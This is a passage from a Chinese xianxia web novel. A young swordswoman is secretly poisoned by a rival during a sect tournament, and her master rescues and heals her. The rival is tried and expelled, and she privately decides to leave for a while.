所以,隔日龚柏清对她出剑时,她只是被动接着,并没有还击的打算。
或者说,她也没那个机会还击。
龚柏清虽年轻,但剑法极其流利老练,这并不是将招招式式铭记于心的娴熟,而是判断与处理的快速果断,仿佛这招落下之前,他已经想好了一百种下一步的计划。
如同蛛网一样,将对手缚于其中,抽丝剥茧,并不激进,却无孔不入。
和欧阳晔是两个极端。
青容和欧阳晔打多了,习惯了同门间的大开大合,还是头一遭遇到这么蹂躏心态的打法。他们本就出于同门,龚柏清会的她也会,她会的龚柏清更会,就看谁对自家的招式拆解更加细腻,更先掌控反制。
很明显,在这方面她略显逊色。
练剑上偷懒的坏处在这一刻显现无余,虽还不至于称得上狼狈,但显然也没前几场那般从容。
下台时,龚柏清还跟了过来,似是犹豫了片刻,才堪堪问:“伤口没事吧?”
毕竟这是青容的第一场败局,且瞧着沉默不语,龚柏清觉得还是哄哄为妙,又怕得胜后来安慰显得虚伪,便有些踌躇。
青容心中确实藏着事,她远远和慕砚恒对视了一瞬,却见慕砚恒并没有什么表情,似乎早就猜到她这场会输。
毕竟是除鎏虹外唯一一个知晓她惯用手的人。
听到问话,青容回过神,见龚柏清一脸真挚的担忧,她笑着摇头:“无妨的师兄,我的伤上过药,已经好了。”想了想,她又接了一句,“师兄很厉害,我要多向师兄学习。”
这是真心话,剑修最懂剑修,她太明白练到知己知彼这个地步得付出多大努力。
见青容状态不错,龚柏清总算放心,他抬手轻轻碰了碰青容的头顶,温和笑了笑:“你还小,吃了经验的亏而已,师兄有预感,再过几年,你会真正名扬修真界,甚至或许……今年就可以。”
青容知晓他的意思。
是脱离慕砚恒徒弟这个身份,以她自己的名字,站在擂台上,享受着观众与对手的崇敬,提及“青容”这两个字时,不再是“临霜护教的徒弟”,而首先是她自己。
只是可惜啊,她想。
未来名扬修真界肯定得名扬了,但她的名字注定要和慕砚恒绑在一起。
没法独自奋斗,还挺惆怅的。
…
时间过得飞快,扶摇山的日出日落又轮了几轮,青容很快迎来了自己淘汰赛前的最后一场对战。
在这之前,她已经积攒七分,位于小组第二,次于龚柏清一分,同时也高于已经比过最后一场的第三名一分,已是稳稳晋级。
按照过往弟子的习惯,这场基本就放了。
可青容有些犹豫。
“想什么呐?该你上啦!”陆怀夕晃了晃她的肩,瞧着比她还要激动,“快加油赢下这把,十三岁拿小组第一,是可以收编进弟子录的!”
她两的想法重叠在了一起。
本来,她和大部分弟子一样,以顺利晋级为目标,这场并不会过于拼命,可当念出这一轮的名单,提及她的名字时,临霜教竟泛出一片声浪,那些她熟悉或不熟悉的师兄师姐,都认真看着她,或欣赏,或赞扬。
她听到许多人在喊加油,声音并不宏大,甚至有些乱,却让青容有短暂的恍惚。
在顷刻之间,她的计划变了。
她想拿小组第一。
这一轮的对手,青容有印象,是扶摇宗弟子,名唤季焱,也是和上届榜首薛临打了揭幕战的人,实力算上乘,但若和龚柏清他们比,就显得不那么够看了。
若全力以赴,她很有希望排在小组并列第一。
“宗门天才横空出世”这种事,乍一听挺中二,可若真的去实践,还是挺令人心绪泙湃。
青容被陆怀夕推着上场,神色淡然而坚毅,昆吾剑在她手中泛着潋滟微光,并不张扬,却让对面的季焱忍不住心中发颤。
这是他的生死战。
季焱也就和第三名差了一分,如果这场顺利拿下,他便依旧有晋级希望,只是对季焱来说,这最后一轮的对手着实不好对付。
只能寄希望于青容已确定晋级,不会出全力。
可很快,他便明白自己想错了。
青容丝毫没有收手的意思,甚至比前几轮攻势更加猛烈,昆吾剑在她手中如虎添
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翼,一招一式行云流水。她甚至省去了试探的步骤,全攻不守,带着几分莽撞,饶是如此,季焱竟也寻不到任何反击的空挡。
他向来引以为傲的双刀仿佛生了锈,手臂如腐朽的木门般吱呀作响,艰难支撑,不知是不是沾了昆吾剑的寒意,对招时,他竟觉得自己的手有轻微冻僵。
很冷。
冷得像扶摇宗严冬时覆山的大雪。
季焱现年二十七,十余年前,他也是宗门中人口口相传少年天才。
只可惜,不是所有天才最终都能成为一代大师。
随着年龄增长,并没有更多出众表现的他逐渐泯然于众人,但天才到底是天才,过往几届他还是能进入十六强,身为最顶尖的一批弟子,受人崇敬。
可是现在,他连四年前的自己都要赶不上了,或者说,比他更有天赋的弟子在一茬一茬的出现,无论是八年前震惊宗门的临霜双杰,还是现在他眼前这个明媚的少女,都隔着他不可触及的鸿沟。
修真界永远不缺天才。
可他不甘心。
尤其不甘心输给一个年仅十三岁的人,这会永远钉在他的耻辱柱上,未来旁人提及他的名字,就连“曾经的天才”都不会是了,只会哦一声,然后解释。
是那个输给临霜教今年第一次参加大比的,名唤青容的十三岁小孩的人。
季焱咬着牙,手上的冷意逐渐侵袭全身乃至骨髓,他越无措,便衬的青容愈发惊艳,他好像听到了震耳欲聋的喝彩声,欢呼声,全宗门都在庆祝新天才的诞生。
一如多年前,另一个人站在台上,收起双刀,享受着相同的一切。
青容是最先发现季焱状态不对的。
她顿了顿,收了些攻势,但季焱的眼神很是迷离,像是被什么东西所分心,刀剑相撞后,他左手的刀随之掉落,居然也没有立刻将其捡回。
而是选择抬眸看她。
青容说不清那是什么眼神,像是羡慕,又像是怀念,然而她看的最清楚的,是季焱的口型。
她微微一愣。
就是这愣神的一瞬间,她倏然感到左肩传来一阵刺痛,紧接着就是麻木,从肩头弥漫到全身,而就在这时,季焱气势汹汹冲了过来,举起刀对着她重重一劈。
青容蹙眉,本能提剑去挡,但只举起手臂就像已燃尽所有力气,她只得调动内力,气息贯于剑中,硬接了这么一下,将人硬生生震开。
季焱被震的后退三步,眼中满是惊愕,可他没有余地去赞扬这样浑厚的内力,他必须继续进攻。
暗器的毒性并不会持续太久,这本也不是什么致命的毒,只是能让人短暂失去力气,令身体麻木,且这针极其细小,难以察觉,融于血肉之中,不到半个时辰便会完全溶解。
基本不会有人发现,哪怕有怀疑,也抓不住证据。
只是季焱没想到,青容还可以撑这么久。
她几乎调转了所有内力,和毒性相互抵抗,哪怕逐渐失去知觉触觉,她也分毫没有要放弃的意思,以至于攻势依旧不减,但却也拿不出更多用来破局的力气,两人竟一时僵持住。
可调转内力的后果,便是毒性加速,本只会造成麻木的毒经过这么一轮运转,造成了连季焱都没料到的后果。
众目睽睽之下,青容突然脚下一滑,就这么从平台上摔了下去,直直坠落。
扑通一声,水花四溅。
水中没有挣扎的痕迹。
27. 初融的雪
其实在仙界时,青容并不是完全没和慕砚恒碰过面。
她远远见过他不少次,毕竟是仙尊,平日里总会有遇到事务需要外出的时候,五千年间瞻仰尊容的难度不大,但若要两人直面对话,追溯至今也没几回。
刚飞升那会,她对仙界的一切还懵懵懂懂,也不认识什么人。她的差事是整理藏书阁,不过那地方基本没人去,资历老的仙君早有自己的书房,就算有人,寻书还书也都秩序井然,并不会有熊孩子大吵大闹的情况,这活也就十分清闲。
清闲多了,就有些无聊。
青容不想麻烦人,这陌生的仙界她也不敢乱窜,只能寻些人少的地方走走,漫无目的逛着逛着,她看到一池荷花。
没什么特别的装饰,但花养的极好,如翡翠镶白玉,露珠披挂,无比晶莹,带着淡淡幽香,青容不自觉停步,忍不住弯腰伸手轻轻碰了碰。
“本君这荷花刚刚长成,可别失手折了它。”
身后传来一道清冷的声音,并没有怒气,却令人忍不住心中一颤,青容一惊,触炭似的缩回手,意识到自己是碰着人家养的花了,连忙道:“抱歉抱歉,看这荷花长得好,没忍住瞧了瞧。”
也不知是不是错觉,她竟觉得那声音好像极浅的笑了一下:“瞧了瞧,怎么伸手了?”
青容直接改口:“抱歉抱歉,没忍住伸了伸。”
一时寂静了几秒。
作为刚刚飞升什么都不懂的小仙,她没敢抬头去看来人模样,只能静静等待对方答复,祈祷不是个难缠的主,所幸对方似乎还挺大度,并没有为此计较。
“无妨。”
青容如遇大赦,连忙告辞离开,直至走出很远,她才回头看了一眼,但那人的身影早已消失不见。
她没太当回事,毕竟仙界悠闲,不比凡间奔波劳碌,养花养草养动物的仙君一大堆,并没有特意去交际的必要。
第二次见,是数月后。
她靠在藏书阁内打盹,手中摊着描述仙界布局的书籍,忽的有脚步声由远至近,她惺惺睁眼,看到个模糊的身影。
她想,大概是来找书的,藏书阁虽然冷清,但到底偶尔也会来人,她吸了口气,驱散困意,从地上站了起来。
随着意识回笼,靠近的身影也逐渐清晰,她视线顺着上移,不由得一愣。
因仙法可以修容的原因,仙界中人大多是上上姿色,放到凡间各个都是绝世容颜。飞升仙界这近半年,美男仙女她早已见惯,可此人的相貌还是让她觉得过分惊艳。
“仙君的修容术……好生厉害。”她忍不住道。
那人顿了顿:“修容?”
青容随即意识到这话不大礼貌,心中有些后悔,道歉的话还没说出口,那人又道:“本君不曾用过修容术。”
青容更愣了,不仅是因为惊叹于相貌,更是因为这声音似乎有些耳熟。
“本君取些书便走,你忙你的,不必站在这等候。”
想起来了。
就是和她说不要折了荷花的仙君。
青容心想,还挺巧,但似乎也不巧,毕竟几个月了才见这两回,大概也是个不喜外出的主,这种仙君性子都孤僻的很,可千万不能招惹。
那人确实只是取几本书,并没有耽搁多少时间,他按部就班做了登记,彼时青容也在看书,并未过多注意登记光幕上显示的仙者名号。
她余光瞥见离开的身影,顺口喊了声:“仙君慢走。”
身影似乎顿了顿,但没有停留。
至此,她很久没再见过他,估计还书的时候并非她轮值,青容依旧没过多在意,只是时而惋惜这般姿容绝世的人物偏偏深居简出,若是能多现世几次,不知要成全多少仙子朝思暮想的绮念。
可惜啊,旁的仙子有无这份眼福尚未可知,反正她暂时没有。
岁月如流水,她逐渐认识了仙界的人,结交了不少仙友,但都没有深交——相比起三五成群地嬉闹,她还是更喜欢一个人待着。
直到后来的仙界宴席,青容被几个狐朋狗友撺掇跑去蹭饭。
她忍住大快朵颐的冲动,学着周遭众人行礼如仪,只是在众仙高喊“恭迎天枢仙尊”时,她鬼使神差抬头望了一眼。
最高的琉璃阶之上,那人凌霜而立,清冷皎洁,如亘古山间初融的雪,倒映着悬于天边的月。
青容手中玉箸“叮”的一声落在案上。
那时她才知晓,那个凭借脸长得好让她记住一段日子的仙君,正是整个仙界最尊贵的存在,就连天帝见到也要礼让三分的天枢仙尊,慕砚恒。
…
“师弟,她状况不太好。”
师语楼收回放在青容额间的手,神色少见的严肃,“大概率是中了毒,这毒本身没什么毒性,只是会短暂致人肢体麻木,然而她强行运功和人对战,静脉血液加速运转,导致毒性翻倍。”
“我会帮她把毒逼出来,同时需要有一个人持续运功辅助疏通静脉,最好是和她本元内功同出一门的人,师弟,你来吧。”
慕砚恒从背后扶着青容的肩,没说话,像是在出神。
然而这种时候是不可能出神的,师语楼猜到了他在想什么,叹了口气:“这届大比,她只能到此为止了。”
哪怕恢复再快,也不可能赶得上后续赛程。
师语楼心中惋惜,忍不住又看了看慕砚恒,眼前的青年并不复之前那般端肃矜贵——他全身衣服都是湿的,衣角和发尾时不时往下滴水,一副刚从湖里捞出的模样。
可他神态瞧着淡然平静,实在称不上狼狈,甚至打湿的碎发一缕缕垂落,更显眉眼深邃精致,平添一丝忧邑的清冷。
“嗯。”隔了几秒,他终于应声。
房门轻掩上,外头围绕的弟子自觉散去,脚步极轻,没有一个人敢打破空气中的沉寂。
和慕砚恒一样,青容也浑身湿透,偏偏运功时不能隔着太多衣物。慕砚恒将青容交到师语楼怀里,自己则转过身去:“麻烦师姐帮她把外衣脱了吧。”
师语楼应声,还
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没触到衣襟,慕砚恒却转而改口:“不,全脱,中毒必然有中暗器,得把这个证据寻出来。”
在台上晕倒,脚滑跌落,明眼人都能看出大概率是有暗器作祟,然而万事讲证据,如果没有确切物品摆在面前,那么这种影响全门派的恶行扶摇宗大概率不会认。
这本就是他自己的房间,他起身行至柜前,寻了个纯白的手帕,又找了件里衣,撕下一片衣角,轻覆在自己的双眼之上。
坐回塌上时,师语楼还在给青容脱衣服,动作很轻,伴随着衣物摩擦的窸窣声。他已经遮住自己的视线,只能靠着光线察觉些大致轮廓,也做不了什么,便在一旁静静等着。
直到师语楼告诉他可以开始了。
他将手帕拿在手中,师语楼一看便懂,接过手帕覆在青容的背上,再捏着慕砚恒的手腕靠过去,杜绝了两人的肌肤接触。
其实两人有层师徒关系,这种紧急情况,本没必要这般苛刻,只是没想到她这师弟平日瞧着性情薄凉,在这种事上倒是考虑周到。
门窗已然紧闭,因运功效果,屋内隐约有微风流动,师语楼好不容易替青容顺好经脉,额头已有薄汗,忍不住感慨了一句:“她这小小年纪,内力造诣着实不浅,师弟,我现在倒明白你为何破格收她为徒了,她这样发展下去,未来是有可能成为首席弟子的。”
首席弟子,是对临霜弟子的最高赞誉,代表着临霜的门面,以及弟子中最强的即战力,对一个十三岁的小孩子说出这样的评价,如果让旁人听去,势必瞠目结舌。
毕竟修真门派那么多天才少年,画过的饼大多是“此子未来必成大器”,但饼画这么详细这么坚定的的确十分少见。
双目遮覆,师语楼看不明慕砚恒的神情,只是可以很确定他并没有笑,但她也没当回事,毕竟这么多年,就没见慕砚恒私下有过笑意,性子冷嘛,这没什么,反正全门派上下都知道他对青容是极好的,说明他还是有感情,只是懒得表露罢了。
不然也不会在青容落水后,直接跟着跳进湖里。
所有人都看到了他的袒护,以及季焱急匆匆赶来,他下令直接将季焱扣押时,眼里丝毫不隐藏的厌恶。
以至于扶摇宗当时都没人敢开口拦着,任凭临霜教带走了自己门派的一名弟子,也算是旷古奇谈。
随着时间推移,毒素慢慢被逼散,青容忽然皱眉,像是遭遇了什么疼痛,师语楼眼疾手快用内力猛的一推,一根银针随之掉落在地。
察觉到青容的经脉气息已是通畅,师语楼总算舒了口气,她将针捻于指间,细看后不禁心中发寒:“幸好取出及时,否则怕是要溶于血肉,那季焱还挺阴,就是想不留证据。”
慕砚恒将手臂缓缓收回,终于沉声开口:“本君明日便去寻扶摇宗宗主,敢在众目睽睽下行如此毒手,依本君看,此人也不必再留在扶摇宗,干脆寻个不吉利的日子,直接逐……”
他的声音倏然停滞,像是被什么东西毫无征兆的中断。
有人倒在了他怀里。
28. 爱护
师语楼察觉到不对,转头看去,登时心中一惊,她连忙将青容重新扶起来:“我以为你还撑着她呢,就松手去取针了。”
很显然,他俩想一块去了,都以为对方还扶着。
慕砚恒摇摇头,没说什么,只是重新转过身:“帮她把衣服穿好吧,劳烦师姐。”
干净的衣服之前便已送来,就放在床头,师语楼刚想去拿,便发现自己扶着的人似乎动了动。
不愧是被夸赞画饼的修真天才,青容的身体素质很不错,毒刚刚驱散,便有了转醒迹象。
但这个迹象持续了许久,青容始终没有睁开眼。
师语楼便干脆扶着她躺下。
床上的人过于安静,以至于房内的两人并未察觉她正处于梦魇中。
此时她脑中的画面正是台上的场景,一如之前数次的重复,像循环演出的话剧。
她看到季焱的口型是“抱歉”。
她听到鎏虹在提醒她:“容容,你大概率中毒了,不要再摧动内力了,容易让毒素蔓延。”
理智告诉她,应该停下来,然后告发此人,可她很快发现她发不出任何声音,若要终止这一切,只有认输这一条路。
毕竟留得青山在,不怕没柴烧。
但她不想。
如果没寻到证据呢?她在台上中毒,第一个被怀疑的就是季焱,他敢这么堂而皇之下毒,势必会有掩盖的法子。
那她放弃抵抗直接举着昆吾剑认输,不就成了笑话。
电光火石间,青容下了拼命抵抗的决心。
可这毒素蔓延实在太快,她甚至不知道自己是何时摔下台的,浑身力气像是被抽离,四肢血肉连带着感官被尽数瓦解,听不到,触不到。
像是落入无尽的虚空。
只是冰冷的湖水包裹住她的一刹那,她已模糊的意识竟有所回笼。
她好像看到有个人,浸在被湖面折射的碎光里,向着她愈发靠近。
她本能伸手,就在即将抓住的一刹那。
“哎!醒了!”师语楼欣喜道。
重复的梦魇终于止住,青容还有点懵,睁眼时忍不住大口喘气,一副受了惊吓的模样,师语楼瞧着更是心疼,轻轻抚摸她的额头:“不怕不怕,下毒手的人已经被你师父抓起来了,没他好果子吃。”
此番哄小孩的做法倒真有效果,青容稍稍平静了些,这本也不是什么恐怖场景,只是一直重复,令人心中无端发寒,此时梦魇破除,耳边骤然安静,倒有些空落落的。
听到动静的慕砚恒依旧站在墙角,并没有转过头,甚至连眼上的布条也没摘。
师语楼:“哎呀,你醒了正好,毒已经帮你逼出来了,刚刚看你将醒不醒的,怕惊扰你,也没敢给你穿衣服,你醒了那就自己穿一下吧。”
青容这才发现,她此时竟是不着寸缕。
而下一秒,她就看到了角落处站着的人。
虽是背对,而且还盖着被子,但青容还是有一瞬间的局促,可这身影和在水下向她靠近的人重叠在了一起,又莫名生出一丝心安。
她没说什么,老老实实将衣服穿好了,只是手臂还有些使不上劲,整个人都是一种没睡够的困倦,连带着神情也怏怏的。
“师父,师叔。”她唤了一声,算是草草拜见。
慕砚恒这才摘下眼罩,重新坐在床边,师语楼正在给青容把脉,他顿了顿,选择直言:“你的身体状况已经不适合继续参加大比了。”
师语楼没忍住瞪过去一眼——可怜孩子刚醒,就在这打击人,这惊艳的表现猝然中断,换成谁都要抑郁好一阵。
但青容并没有像他们想的那样唉声叹气失魂落魄。
她只是微微一愣,神色间显出几分惋惜,还残存着对慕砚恒全身湿漉漉的惊讶,除此之外再无其他,更没有发泄什么。
这反倒让慕砚恒蹙了眉,神情比刚刚还冷:“想如何处理,可以直接说出来,不用退让,整个仙门,还没人能欺压到本君头上。”
青容抿抿唇,知晓是慕砚恒误以为她年纪小,不敢出声追责。
她不是不生气且甘心于此,只是对活了千年的人来说,也实在做不出鬼哭狼嚎求帮忙出气的行为。
可既然都让她提议了。
“师父。”她轻声。
“嗯?”
“我要他从此以后,只能当散修。”
…
青容还是头一遭体会到仗势欺人的感觉。
虽然这人也不是好东西。
季焱被从身后捆缚住双手,直接扔在了扶摇宗的大殿阶梯下,双膝跪地,头发凌乱,神情也极其恍惚。
他正上方便是五大门派掌门,其中扶摇宗宗主单独上前了一步,一副痛心模样。
毕竟自家门派内的自家弟子这么冠冕堂皇做出这种事,实在有损门派风范,尤其还得罪了这么一号人物。
“季焱,你可知错?”扶摇宗宗主大声道。
季焱跪在地上,稍稍回过神来,他艰难环视一圈,找到了站在他右侧的青容。
“抱歉……”他声音极低。
青容退出这届仙门大比的事他也听说了,是因为什么,因为谁,任何人都清楚。
青容没回应,只是静静站着,神色微冷。
宗主见无人应答,慕砚恒似乎也没反应,他深吸一口气,接着说完早已想好的话:“你以暗器残害他门弟子,实属不该,便禁足两年,领三十鞭,罚半数修为,且永远剥夺参加大比的资格。”
底下有人小声的吸气。
这在仙门算是很重的惩罚。
那暗器早已在季焱身上搜出,和慕砚恒片刻前拿出的一样,实际毒性并不大,就是致人四肢无力的损招,并不会伤及其他,如今这个结果,很大部分还是因为青容强行运转内力导致。
罚这么重,终究是因为临霜教和慕砚恒亲传弟子的头衔压着吧,许多人想。
然而,发话的宗主并没有等到慕砚恒的点头。
甚至整个临霜教都是安静的。
宗主莫名心慌:“这个惩罚……还有何不妥需要补充吗?”
再重也重
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不到哪去了吧?
万众瞩目下,慕砚恒侧过身,缓缓开口:“不必补充,也不必麻烦,还请宗主直接将其逐出仙门。”
这句话光听语气,甚至是有温和有礼的,犹如茶饭后在庭院里侃侃而谈。
只有将字句拼起来,才能从其中感受到不易察觉却早已袒露的寒意。
话音落下,整个大殿寂静了许久。
宗主神情僵住:“这……是不是有些过重了?”他有些头晕目眩,艰难解释,“毕竟季焱未存伤人之心,这个毒……属于意外进度,有些出乎预料了。”
“出乎预料……宗主的意思是,结果比想象的严重,那就不算他做的?”
慕砚恒似是冷笑一声,瞥了眼跪在地上也有点懵的季焱:“针是会逐渐消融于血肉的,若未及时发觉,便连证据也取不到,若非当场缉拿,他身上的东西也会被销毁,到那时,本君徒弟吃的亏,又有谁来弥补?”
陵渊和师语楼都是一副极其赞同的神情,欧阳晔等人也是攥紧拳头,虎视眈眈。
季焱头低的更低。
他的确是这么打算的,如果不是青容强制运功导致晕倒,他甚至可以在台上耗到银针溶解。
其实当时发生意外,他有一瞬间是想一起跟着跳进湖的,救人是原因,在水中直接把身上残留的银针扔掉,到那时即使怀疑他也找不到证据。
只是慕砚恒的反应实在太快,就好像一直在仔细关注青容的状态,几乎是落水同时,他蒙圈的一刹那,就已经命人将他缉拿。
而在他双臂被扣住的瞬间,一道白色的身影扎进了湖中。
他现在明白了,这位临霜护教对自己的徒弟有多么看重,逐出仙门怕是没有任何协商余地。
宗主还想争辩两句,季焱却主动开口:“弟子接受。”
他不想因为他个人,毁了两个仙门千百年来的情谊,况且此事败露,他也没有在仙门留存的脸面。
话已至此,宗主也不好再说什么,逐出仙门是门派内部的事,不会当场在大殿执行,宗主叹了口气,吩咐其他人将季焱带下去。
季焱没有挣扎,只是离开时,他忍不住回头望了一眼。
大殿下方最前排的弟子,都是各自门派中最顶尖的一批天才,例如临霜教那边,身为双杰的龚柏清和欧阳晔,已成首席的江溪闻,又或是沉迷于药理但武艺同样惊艳的陆怀夕,他们无一不是已然兑现天赋,距离成为宗师只需要数年时间的沉淀。
还有慕砚恒身侧,横空出世的天才少女。
熠熠生辉,灿烂耀眼。
真羡慕啊,他想。
年少成名便会对应着极高的期盼,他拼命想去成为数年前想象中现在的自己,只是可惜……
他看到了周围人目送他的眼神,嫌恶,反感,从此他是无门无派声名狼藉的堕落散修,仙门人人都会知晓季焱是谁。
一如十二年前,少年收回双刀,恣意一笑,扎在身后的墨发被风扬起。
“季焱获胜,成为仙门史上最年轻仅十五岁便进入八强的弟子!”
29. 想跑路了
季焱被带走后,扶摇宗宗主又以此事为警醒说了一会,再转头关心问候青容几句,这公审便差不多结束了。
几大掌门先行离开,弟子们紧随其后,同时伴随着窃窃私语。
有骂季焱手段卑劣的,有说他当年如何惊艳如今又如何落寞的,更多是惋惜青容的。
毕竟才十三岁,不出意外便是小组第一,很有希望进八强甚至继续向前,随便什么结果都能载入仙门史册,如今却就这样半道而止。
青容自己也很惋惜,低着头瞧着蔫巴巴的,鎏虹还在安慰她:“没事啊容容,护教在大殿上已经说了你就是小组第一了,众弟子也都认同,下届再努力,到时候直接拿个魁首迷死所有人,别伤心了。”
“不是……”青容顿了顿,脚下险些拌蒜,“我不是在伤心,我是有点没劲。”
那毒素虽然被排出,但经脉已受影响,短时间内也没法完全恢复,慕砚恒说她参加不了后面的大比,她一开始还微微有点想抵抗的心,现在是彻底没了。
站这么一会就走不动道,回头过两招得原地晕厥。
“怎么了?”
慕砚恒就行于她身侧,可能注意到她一瞬间的趔趄,便问了一句。
青容没吭声,但没过两步,她就左脚踩右脚往旁边一倒,然后再自己撑住,愣是没倒下去。
瞧起来很倔,又很可怜。
鎏虹:“……”
都分不清是演的还是真的,如果是真的,那确实很凄惨,如果是演的……
慕砚恒停步,一言不发似是有所思考,片刻后,他背对着青容,缓缓蹲了下来。
这个动作直接让周围能看到这幕的弟子集体噤声,紧接着好像扶摇宗的山雾带着日月精华一样,又猛吸了几口气。
因为要参加公审,慕砚恒穿的很正式,和仙门大比那身差不多,显得人端肃而庄严,以至于这一蹲的视觉冲击更大。
连青容也被冲了一下。
老实说,腿软不是演的,但也没到这么严重的地步,她本想着慕砚恒最多御剑把她送回去,却没想到选择了这么朴素的方式。
她略有些僵硬地上前两步,把手搭在慕砚恒肩上,秉承着豁出去的心,闭着眼,往前一趴。
慕砚恒没说什么,很淡然的将她背了起来,只是他没怎么弯腰,青容总感觉自己要掉下去,本能用手臂环住他的肩。
远看像挂了个变异成壁虎的背篓子。
“出气了?”慕砚恒冷不丁问。
青容愣了愣才反应过来他说的是谁:“嗯,多谢师父。”
“无妨,为人师者,本应如此。”
这已经不是人情味了,她想。
这简直是火炉子味。
大概是背着不好御剑,慕砚恒干脆就这么一步步走了回去,步履平稳缓慢,周遭也是鸦雀无声。正是晌午,太阳悬于头顶,照在人身上暖烘烘的,青容安静的趴在背上,免不了生出几分困意。
然而,与温暖的困倦一并滋生的,还有短暂宁静后,心中愈发生出的寒凉。
“为人师者”四个字,后知后觉给了她当头一棒。
过往慕砚恒虽然也做着师父该做的事,譬如悉心教导,或偶尔护个短,但大部分时候没什么为师做派,毕竟黑心样摆在那,偶尔都能下脚绊她,灌酒整她,以至于她感受不到这种严肃的“辈分差”。
甚至记忆差造成的心理年龄优势,她有时看慕砚恒还有几分毛头小子的感觉,例如找季焱讨债,就是典型残存的少年心性。
但是刚刚不一样。
那是一种摧枯拉朽的,七老八十的,逢年过节问她今年科举成绩如何的,感叹她现在好高啊小时候还抱过她的长辈感。
她忽的想起有一日路过石道,瞥到了不远处纪苍华的身影,因鎏虹提醒不要与此人过多交集,她便只作没看到,脚步未停。
但她隐约听到了纪苍华与人交谈的声音。
“徒弟喜欢上师父有什么?师父喜欢上徒弟才是见鬼呢,根本没有缘由的。”
她那会过个耳朵没往心里去,此时骤然想起这句话,才明白其中意思。
在被关心爱护的前提下,阅历尚浅的徒弟确实可能对自己的师父生出些异样情愫,但仅限于单箭头。
因为哪怕抛去伦理纲常,另一方也没有任何缘由产生同样的悸动。
——雏鸟情节,慕强,所有在徒弟身上可以成立的动机解释,在师父身上都是悖论。
就像夏扶笙不可能喜欢自己亲手带大的纪苍华,这样下去,慕砚恒对她也至多只有师徒之情。
她可以赌慕砚恒不在意道德伦理,但她赌不了慕砚恒未来的心之所向。
青容缓缓闭上眼,心情有些沉重,她还趴在慕砚恒的背上,双臂环住他的肩,这是相识六年来他们最亲近的一个动作,本应该找鎏虹庆祝一番感情上升一大步。
然而此时,她只有一个念头。
必须得离开一阵了。
为了不让亲情发展到不可控的地步。
还挺荒谬的,她想。
…
未来数日,她挪到了观众席,围观最后的十六强淘汰赛。
由于季焱那一出,现在的仙门弟子又是敬重她年轻有为,又是可怜她就此退出,哄也不知道怎么哄,便选择了疯狂投喂。
青容就去透了个气,回来看着一箩筐的甜点,头都大了一圈。
她咽了口唾沫,艰难解释:“其实……我没那么难过,反正下一届还能参加,不差这四年。”
其余弟子一副“天哪她好坚强真是个好孩子”的神情。
陆怀夕也是手帕拭泪样:“没事,不用忍着,有委屈就说出来,大家都会支持你。”
青容:“……”
这种集体因她发癫的情况直到大比结束才有所好转。
结果很不错,江溪闻不负众望拿了魁首,龚柏清得了第三,陆怀夕这一次也是全力以赴,挤进八强行列。
只有个倒霉蛋,十六强直接抽签抽到了江溪闻。
“我的命怎么这么苦啊……”
欧阳晔连着几天都耸拉着头,魂被抽走似的
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,时不时就蹦出这句话。
青容本来还挺同情他连着两届十六强撞魁首,但回想起自己的遭遇似乎更惨,这安慰的话便怎么都说不出口。
“没事。”陆怀夕替她道,“下届你不也就二十岁出头,总不能再抽到魁首了,学学小师妹的心态,不差这四年!”
欧阳晔僵硬回头,心如死灰:“我上一届结束也是这么想的。”
他都要能理解一点季焱了,年纪轻轻惊艳众人,结果过了八年还是这个排名,万一四年后再被十三四岁小孩打的十六强都没进去,换他他也得崩溃。
不行不行,他摇摇头,回去一定得好好练剑,绝不能让英才陨落这种事发生在他自己身上。
“小师妹,以后多约约切磋。”他真诚的向青容发出邀请。
青容很敷衍:“有空一定。”
欧阳晔忍不住翻白眼:“你天天待在栖星阁,闲的发昏了都,但也不主动找我打,呵,你的伤好了没?”
青容心想着我都快跑路了谁跟你打啊,她晃晃胳膊:“好了,毒性早过了。”
“是问你之前的伤。”
被程嘉不小心打伤的那次?慕砚恒的药效倒挺管用,她点点头:“也好了。”
因为这伤,程嘉这几日没少给她送吃的,若非知道这位半月谷亲传弟子是个跋扈性格,青容都快以为是来巴结她的。
欧阳晔忍着当众发出切磋邀请的想法,忽的看到青容的袖口似乎露出什么东西:“哎?你袖子里是什么?”
青容微微一愣,将袖口的纸往里塞了塞:“师父给的。”
她这一说,加上往袖口塞的动作,自然没人再敢继续追问。
直到大比宣布结束,人群彻底散去,青容婉拒了其他人送她回府的想法,独自在山腰的林间石道处晃了晃。
见四下无人,她抽出了袖口的东西,缓缓翻开。
这确实是慕砚恒给的纸。
但纸上的笔墨源于她自己。
“你想要什么样的剑,大致画出来,过些时日帮你铸。”
慕砚恒之前答应过她大比结束后给她铸剑,虽然当时听起来很鸡肋像糊弄人,但倒没有食言的意思。
青容不会设计,又怕慕砚恒放飞审美造出什么丑玩意,干脆凭着记忆,把鎏虹剑长剑的样式画了出来。
“像不像?”她对自己的画功很满意。
鎏虹沉默片刻:“这棍子挺好看的。”
“凑合吧,随便铸个能用的轻剑就行,我是不想用发霉的木剑了,参与大比人家都笑话我。”
不过铸剑需要一些时日,如果慕砚恒动作够快,她是不是还能在请求下山之前看到盗版鎏虹剑也说不准,这样下山历练还有剑用,不然木剑发霉又得被嘲笑几年。
不知道的还以为护教欠债了。
图纸越看越满意,她难得心生期待,甚至想着要不等剑铸出来再走吧,反正不差这点时间,也就找机会和缘由比较困难,慕砚恒大概不会轻易放她走。
只是她没想到。
机会会来的这么快。
30. 责罚
和其他门派一样,临霜教也是集体御剑回山,三位执教居前,只是同上一届不一样的是,慕砚恒的剑上还多了个青容。
为了避免青容御剑中途旧伤复发直接栽下去,慕砚恒选择把青容拽到自己身前,隔了个随时能把她拉回来的距离。
所幸这一路还算顺利,青容自认目前状态不错,昆吾剑缓缓落在山脚下,她大大方方从剑上蹦了下来,随即膝盖一软差点跪在地上。
青容:“……”
这季焱真可恶啊,都十来天了,经脉还没完全恢复,时不时就得抽风一下。
慕砚恒跟在她身侧,轻飘飘将剑收回:“有没有觉得只将他赶出仙门还是轻了?”
“那倒没有。”青容揉揉膝盖,重新站直,“再过几天就好了,徒儿不是那么记仇的人。”
随即听到一声极轻的笑。
她还没来得及说什么,突然有守山弟子跑了过来,一副愁眉苦脸仿佛受尽折磨的模样:“参见掌教,护教,司教,这几日有两个凡人赖在山门前,求我们帮忙救命,这可如何是好?”
陵渊神色未变,似乎经常听到这样的禀报,已是见怪不怪:“按照惯例,请走便是,若非妖邪干扰,仙门不可插手凡间正常的生老病死,这个没有例外。”
守山弟子却面露犹豫:“可是,其中一人说,是有个叫阿容的女孩让她来的。”话毕还极快往青容的方向瞄了一眼。
整个临霜教,名字里带容字的也就一人。
